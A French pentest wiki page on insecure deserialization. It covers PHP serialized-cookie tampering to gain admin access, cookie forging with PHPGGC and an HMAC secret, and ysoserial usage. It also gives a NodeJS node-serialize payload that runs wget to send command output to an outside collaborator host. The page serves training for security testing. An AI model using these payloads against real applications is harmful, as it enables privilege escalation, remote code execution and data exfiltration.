Pentest & Bug Bounty
  • 🥷Pentest et Bug Bounty
    • 👾Pentest Methodology
    • 💸Bug Bounty Methodology
      • 📓Ecrire un bon rapport
      • ⚖️Aspect Juridique (FR)
  • 👣OSINT / Recon
    • 🧦Sock Puppet
    • 🧠Mindmaps
    • 🏢Entreprise
    • 👀Leaks
    • 👊Manuel / Dorks
      • Google dorks
      • Github dorks
      • Twitter Dorks
      • Shodan Dorks
    • 👥Réseaux sociaux (SOCMINT)
      • 🕵️Telegram OSINT
      • 👻Snapchat OSINT
      • 🤵‍♂️Linkedin OSINT
      • 🗣️Facebook OSINT
      • 🎼Tik tok OSINT
      • 📷Instagram OSINT
      • 🐦Twitter OSINT
      • 🔊Discord OSINT
    • 🖇️Domaines et Sous-domaines
    • 🚪Scan de ports / web
    • ✉️Emails
    • 🔗Réseau
    • 📷Screenshots
    • 📹Live camera
    • 🧔Reconnaissance faciale / images
    • 🌆Images
    • 🗺️Maps
    • 👁️Active Directory
    • ☁️Cloud
    • Autre
  • 🌐Pentest Web
    • ✊Brute force / Fuzzing
    • 💉Injections
      • 🍪XSS
        • PDF injection
      • 📄HTMLi
      • 📃XXE
      • 7️⃣SSTI
      • 🔢SQLi
        • 👫UNION based
        • ⏳Time based
        • 🥽Boolean based / Error Based
        • 📤Out-Of-Band
      • ↩️CRLF
      • 🐚OS injection
      • ☕Log4Shell
      • 🥠CSV
      • 🍻ESI
      • 😎XSLT
      • 💌Injections dans emails
      • 🔀ELi
        • OGNLi
    • ↪️Open redirect
    • 📁Path Traversal / LFI / RFI
    • 🔓Bypass
      • 〰️WAF / Filter bypass
      • 2️2FA
    • ☠️Charges utiles
    • 📚CMS (Content Management System)
      • WordPress
      • Joomla!
      • Magento
      • Drupal
    • 🎭SOP bypass
      • CORS
      • postMessage()
      • JSONP
    • 🖱️Clickjacking
    • ⚙️Insecure deserialization
    • ☣️Web Cache Poisoning / Deception
    • 🤝HTTP Smuggling
    • 👋OAuth
    • ⛔SAML
    • 🗝️JSON Web Token
    • 🎣CSRF
      • 🚀Cross-site WebSocket Hijacking (CSWSH)
    • 🎯IDOR
    • 🕹️SSRF
      • Cloud SSRF
      • Protocol Smuggling
    • ⚙️APIs
      • 🍽️REST
      • 📶GraphQL
    • ❓Mot de passe oublié
    • 🛒Fonctions d'achat et de facturation
    • 👽Broken authentication / register
    • 🏁Panneaux d'administration
    • ⏬Upload features
    • 🔗Broken Link Hijacking
    • 🎮Prise de contrôle de sous-domaine
    • 🛂Prise de contrôle de DNS
    • ☝️One liners
    • 🚧Misconfigurations
    • 🗿Analyse statique
      • PHP
      • Ruby On Rails
      • Perl
      • JAVA
      • Javascript
      • Python
      • Golang
      • .NET
    • 🪣AWS S3
    • 🤖Captcha
    • 🪞Race conditions
    • ☄️.git exposé
    • 💭Business logic
    • 🥡Prototype pollution
    • 💣Dependency confusion
    • 🛑DoS
      • 🤯ReDoS
      • 👏Hash flooding
      • 🧨Cookie bomb
    • Autre
      • Flask
      • Symphony
      • Spring Boot
      • Django
      • Jenkins
  • 🌩️Pentest Cloud
    • IaC (Infrastructure as Code)
      • Terraform
      • Helm
      • Kustomize
    • AWS
      • Enumeration
    • Azure
      • Entra ID
      • Azure Resource Manager (ARM)
        • Enumeration
    • GCP
      • GCP IAM
      • Authentification
      • Enumeration
    • Kubernetes
  • 🕸️Pentest Réseau
    • 🪡Protocoles réseau
    • 📡Wifi
    • 🔋BLE
    • 📍VPN
  • 🗂️Pentest AD
    • 👺GPP
    • ➡️Mouvements latéraux
      • 🔪Pass The Hash
      • 🗡️Over Pass The Hash
    • 📜ADCS
  • 📱Pentest Mobile
    • 🤖Android
      • 👾Méthodologie
      • 🌳Setup environnement
      • 🍇Collecte d'informations
      • 🔠Enumeration des données locales
      • 🔙Reverse engineering
        • 🪢Dé-obfuscation
      • ⛰️Analyse statique (Android)
      • 🐞Debug
      • 🎰Stockage de données non sécurisé
        • 📰Logs
        • 🤝Shared Preferences
        • 🔤Strings
        • 🗄️SQLite DB
        • 🗃️Realm DB
        • 🧠Mémoire
        • 📍Copy/Paste buffer caching
        • ⌨️Keyboard press caching
        • 🔙Backup
        • Carte SD
      • 🌩️Firebase/Appspot misconfig
      • 🔗Deeplinks vulns
        • Interception de contenu
        • WebView hijacking (via deeplink)
        • Invalid Digital assets links
      • 🖼️WebView vulns
        • WebView Hijacking
        • Exfiltration de données
        • RXSS
        • Vol de token
      • Guides outils
        • ⛏️Outil Drozer
          • Injections SQL (Android)
          • Path traversal (Android)
        • 🔬Outil Objection
        • 🪝Outil Frida
        • Outil Medusa / Mango
      • Bypass
        • 📲Contournement de détection d'emulateur
          • 📂Fichiers d'emulateurs
          • 🙋‍♂️Network Operator Name
        • 🦷Contournement des détections de rootage
          • 🧮Root management
          • 🗝️Clé de signature du noyau
          • 🧊Props dangereux
          • 🦸‍♂️Binaire "su"
          • ❌Permissions sur les repertoires
        • ☝️Contournement des protections biometriques
        • 📜SSL pinning bypass
        • Contournement de code PIN
      • 🔳Lecteur de code QR/EAN/Barres...
      • 💔Injection de backdoor
      • 🪧Task hijacking
      • 🎭Overlay attacks
        • Tapjacking
        • Invisible Keyboard
      • 📵Résilience
        • ⌨️Third Party Keyboards
        • ©️Allowed Copy/Paste on sensitive fields
        • 🛤️Background screen caching
        • 🖋️Schémas de signature
        • ⬆️In-App updates
      • 🤯Corruption de Mémoire
    • 🍏iOS
      • 🥅Méthodologie
      • 🧱Setup environnement (iOS)
      • ⏮️Reverse engineering (iOS)
      • 🏔️Analyse statique (iOS)
      • 🧿Contournement de détection de Jailbreak
      • 📌SSL pinning bypass (iOS)
      • 👇Contournement d'authentification biométrique
      • 🐛Contournement d'anti-Hooking/Debugging
      • 🙈Stockage de données non sécurisé (iOS)
        • 💭Mémoire (iOS)
        • 🏓Copy/Paste buffer caching (iOS)
        • 🍪Cookies (iOS)
        • 🗞️Logs (iOS)
        • ⌨️Cache du clavier (IOS)
        • Backup (IOS)
      • 📱Background screen caching
      • 🧑‍🚀WebView vulns (iOS)
      • Deeplinks vulns (iOS)
      • Lecteur de code QR
      • Firebase misc
  • 👷Pentest physique
    • 🔐Crochetage
    • 💳RFID
    • ⚙️Equipements
    • 💾Hardware Hacking
      • 📈UART
      • 🧪JTAG
      • ⚡SWD
      • 🪢SPI
      • 🚌I²C
      • 🔴Fault Injection
      • Side-Channel Attacks
    • 🐣Firmware hacking
  • 🖨️Pentest IoT
    • ⏪Replay de stream camera
    • 🗣️Assistants vocaux
    • 📹Camera IP
    • ⬇️DoS
    • 🖨️Imprimantes
    • 🎬Chromecast
  • 💀Hacking protocols
    • 😩Telnet - port 23
    • 🔐SSH - port 22
    • 📤FTP - port 21
    • ❔Whois - port 43
    • 👉DNS - port 53
    • 🐕‍🦺Kerberos - port 88
    • 💼SNMP - ports 161-162
    • 📨SMB - ports 445-139
    • 📧SMTP - ports 25-587
    • 🎦RTSP - port 554
    • 🔎MS-RPC - ports 135-593
    • ➕Rsync - port 873
    • 🔢MS-SQL - port 1433
    • 🏗️Docker - port 2375
    • 🔡MySQL - port 3306
    • 📝LDAP - ports 389, 636, 3268, 3269
    • 🖥️RDP - port 3389
    • ⌨️VNC - ports 5800,5801,5900,5901
  • 😈Ingénierie sociale
    • 🧠Concepts / Principes / Attaques
    • 🪧Ethique
    • 👤Profils comportementaux
  • 🔓Crack
  • 🛠️Autres outils utiles
    • 🚿Sandbox / Sanitizer
    • 🔤Générateurs de wordlists personnalisées
  • 🌜Post-Exploitation
    • 👔Énumération /Élévation de privilèges
      • 🐧Linux
        • CVE-2022-0847 (Dirty Pipe)
        • CVE 2021-4034 (PwnKit)
        • CVE 2021-3560 (Polkit)
      • 🪟Windows
        • 🖨️PrintNightmare
        • 🖨️SpoolFool
        • 🆔Usurpation de SAMAccountName
        • ⏲️Scheduled task/job (T1573.005)
        • 🐝HiveNightmare
        • 🔑Stored Credentials
        • 🎩SeImpersonatePrivilege
        • 🎒SeBackupPrivilege
        • 🍞Unquoted Service Path
        • 🧩DLL Hijacking
        • ©️SeBackupPrivilege
      • ⛴️Docker
    • 👻Effacement des traces
    • ⚓Persistance / Downloaders
    • 🛡️Defense evasion
    • 📦Exfiltration de Données
  • 🔎Forensic
    • 💡Méthodologie
    • 📺Live forensic
    • 💻Mémoire non volatile
    • 🕊️Mémoire volatile
    • 📄File forensic
Propulsé par GitBook
Sur cette page
  • Description
  • Exploitation
  • Recherche de fonctions potentiellement vulnérables
  • Tips pour trouver des points potentiellement vulnérables sans accès au code source
  • Basic (PHP)
  • Changement de type de donnée
  • PHP Deserialization with pre built gadget chain
  • NodeJS
  • Extensions burp pour les appli Java
  • Freddy
  • Java-Deserialization-Scanner
  • Burp-Ysoserial
  • Outils
  • PHPGGC
  • Ysoserial

Cet article vous a-t-il été utile ?

  1. Pentest Web

Insecure deserialization

Description

La sérialisation est le processus par lequel un bit de données dans un langage de programmation est convertie dans un format qui permet de l'enregistrer dans une base de données ou transférés sur un réseau. La désérialisation quant à elle fait référence au processus inverse, dans lequel le programme lit l'objet sérialisé à partir d'un fichier ou du réseau et le reconvertit en objet.

Ceci est utile car certains objets dans les langages de programmation sont difficile à transférer via un réseau ou à stocker dans une base de données sans corruption. La sérialisation et la désérialisation permettent aux langages de programmation de reconstruire des objets de programme identiques dans différents environnements informatiques. De nombreux langages de programmation prennent en charge la sérialisation et la désérialisation d'objets (Java, PHP, Python et Ruby).

Ce type de vulnérabilités demande une expertise poussée des mécanismes de sérialisation et de désérialisation des langages de programmation concernés. Le contenu présenté ci-dessous ne représente donc qu'une base infime des possibilités d'exploitation plutôt orienté PHP en sachant qu'on en retrouve la plupart du temps dans du Java.

Exploitation

Recherche de fonctions potentiellement vulnérables

L'analyse de code est le moyen le plus efficace de trouver des Insecure deserializations.

le moyen le plus rapide de trouver des vulnérabilités de désérialisation non sécurisées est de rechercher les fonctions de désérialisation dans le code source et vérifier si l'entrée de l'utilisateur est passé dedans de manière non sécurisée.

Cependant il arrive que des Insecure deserialization soient trouvées sans analyse de code ce qui est beaucoup plus rare.

Les fonctions de désérialisation pour chaque langage sont les suivants:

  • PHP: unserialize()

  • Java: readObject()

  • Python / Ruby: Marshall.load() ou pickle.load()

Tips pour trouver des points potentiellement vulnérables sans accès au code source

  1. Prêter attention aux grandes quantités de données encodées en base64 qui sont souvent des chaînes de caractères sérialisés encodées.

  2. Vérifier les en-têtes "Content-Type:" (exemple: Content-type: application/x-java-serialized-object)

  3. Vérifier les fonctionnalités telles que les entrées de bases de données, les tokens d'authentification ainsi que les paramètres de formulaires HTML

Basic (PHP)

Avec Burp suite,

Interception du cookie de session de l'utilisateur courant:

cookie: session=<chaîne base64>

Utilisation de Burp Inspector pour Décoder la chaîne.

Chaîne base64 décodé:

O:4:"User":2:{s:8:"username";s:7:"user123";s:5:"admin";b:0;}

Analyse de l'objet sérialisé PHP et exploitation:

username=user123

s:X => s=string => X = nombre de caractères.

b:0 => b=Booléen => 0 = "False" donc admin=False

changement en b:1 => Booléen "True" => admin=True

Changement de type de donnée

Avec Burp suite,

Interception du cookie de session de l'utilisateur courant:

cookie: session=<chaîne base64>

Utilisation de Burp Inspector pour Décoder la chaîne.

Chaîne base64 décodé:

O:4:"User":2:{s:8:"username";s:7:"user123";s:12:"access_token";s:32:"ukkidafaq9oyq0ku3qa38ttpw43sii5k";}

Analyse de l'objet sérialisé PHP et exploitation:

  • user123 contient 7 caractères

  • access_token de l'utilisateur "administrator" est inconnu

On va donc dans un premier temps changer notre nom d'utilisateur par "administrator" composé de 13 caractères:

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"ukkidafaq9oyq0ku3qa38ttpw43sii5k";}

Cela ne suffit pas, l'access_token est toujours celui de "user123".

On va donc changer son type de donnée de "s" pour "string" à "i" pour "integer" puis le mettre à "0" ce qui nous donne à la fin:

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

PHP Deserialization with pre built gadget chain

Prérequis: Clé secrète et Gadget Chain

Utilisation de PHPGGC pour la création du payload puis création d'un nouveau cookie avec les informations en notre possession.

Création de l'objet PHP sérialisé et encodé en base64:

$ ./phpggc <GadgetChain> exec '<command>' | base64

Création du cookie:

<?php
$object="<Objet PHP sérialisé base64>";
$secretkey="<Clé secrète>";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretkey) . '"}');
echo $cookie;
?>

NodeJS

Objet de session:

{"userName":"_$$ND_FUNC$$_function (){ require('child_process').exec('wget your.burp.collab.com --post-data=$(ls -la | base64 -w 0)'); }()","passWord":"test"}

Extensions burp pour les appli Java

Freddy

Java-Deserialization-Scanner

Burp-Ysoserial

Outils

PHPGGC

PHPGGC est une bibliothèque de charges utiles PHP unserialize() ainsi qu'un outil pour les générer, à partir de la ligne de commande ou par programmation.

Exemple d'utilisation:

$ ./phpggc <GadgetChain> exec '<command>'

Ysoserial

Ysoserial est un outil permettant de générer des charges utiles qui exploitent la désérialisation d'objet Java non sécurisée.

Exemple d'utilisation:

$ java -jar ysoserial-all.jar <payload> '[command]'

PrécédentClickjackingSuivantWeb Cache Poisoning / Deception

Dernière mise à jour il y a 1 an

Cet article vous a-t-il été utile ?

ressource:

ressource:

ressource:

ressource:

ressource:

🌐
⚙️
https://github.com/nccgroup/freddy
https://github.com/federicodotta/Java-Deserialization-Scanner
https://github.com/summitt/burp-ysoserial
https://github.com/ambionics/phpggc
https://github.com/frohoff/ysoserial